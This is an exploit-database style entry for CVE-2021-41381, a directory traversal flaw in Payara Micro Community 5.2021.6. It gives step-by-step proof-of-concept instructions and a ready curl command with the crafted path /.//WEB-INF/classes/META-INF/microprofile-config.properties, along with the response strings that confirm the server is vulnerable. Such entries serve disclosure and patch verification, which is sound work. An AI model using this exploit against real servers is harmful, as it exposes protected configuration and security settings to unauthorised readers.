Payara Micro Community 5.2021.6 – Directory Traversal
# Exploit Title: Payara Micro Community 5.2021.6 - Directory Traversal # Date: 01/10/2021 # Exploit Author: Yasser Khan (N3T_hunt3r) # Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html # Software Link: https://www.payara.fish/downloads/payara-platform-community-edition/#x # Version: Payara Micro Community 5.2021.6 # Tested on: Linux/Windows OS # CVE : CVE-2021-41381 https://nvd.nist.gov/vuln/detail/CVE-2021-41381 Proof of Concept: Step1: Open the browser check the version of the payara software Step2: Add this Path at end of the URL /.//WEB-INF/classes/META-INF/microprofile-config.properties Step3: Check the response with match containing "payara.security.openid.default.providerURI=" "payara.security.openid.sessionScopedConfiguration=true" Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability. Step5: Alternatively we can use CURL by using this command: Request: curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties Reference: https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html https://nvd.nist.gov/vuln/detail/CVE-2021-41381 |